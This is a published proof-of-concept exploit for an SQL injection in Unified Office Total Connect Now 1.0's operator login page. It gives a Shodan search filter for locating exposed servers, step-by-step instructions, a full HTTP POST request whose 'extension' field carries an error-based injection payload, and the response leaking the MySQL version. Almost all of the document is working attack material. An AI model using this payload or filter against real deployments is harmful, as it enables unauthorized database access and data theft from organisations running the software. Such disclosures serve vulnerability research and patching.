Unified Office Total Connect Now 1.0 - 'data' SQL Injection

# Exploit Title: Unified Office Total Connect Now 1.0 – 'data' SQL Injection
# Shodan Filter: http.title:"TCN User Dashboard"
# Date: 06-16-2021
# Exploit Author: Ajaikumar Nadar
# Vendor Homepage: https://unifiedoffice.com/
# Software Link: https://unifiedoffice.com/voip-business-solutions/
# Version: 1.0
# Tested on: CentOS + Apache/2.2.15

POC:
1. Go to url http://localhost/operator/operatorLogin.php and login
2. Capture the request in Burpsuite and use the payload as given below.
3. Observe the response which reveals the DB version of mysql.

Request:

POST /operator/operatorLogin.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 178
sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost/operator/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=sosbriscgul9onu25sf2731e81

data={"extension":"((select 1 from (select count(*), concat(0x3a,0x3a,(select version()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b))","pin":"bar"}


Response:

HTTP/1.1 400 Bad Request
Date: Wed, 16 Jun 2021 12:49:56 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 139
Connection: close
Content-Type: text/html; charset=UTF-8

Query failed, called from: sqlquery:/var/www/html/recpanel/operator/operatorLogin.php:62: Duplicate entry '::5.1.73::1' for key 'group_key'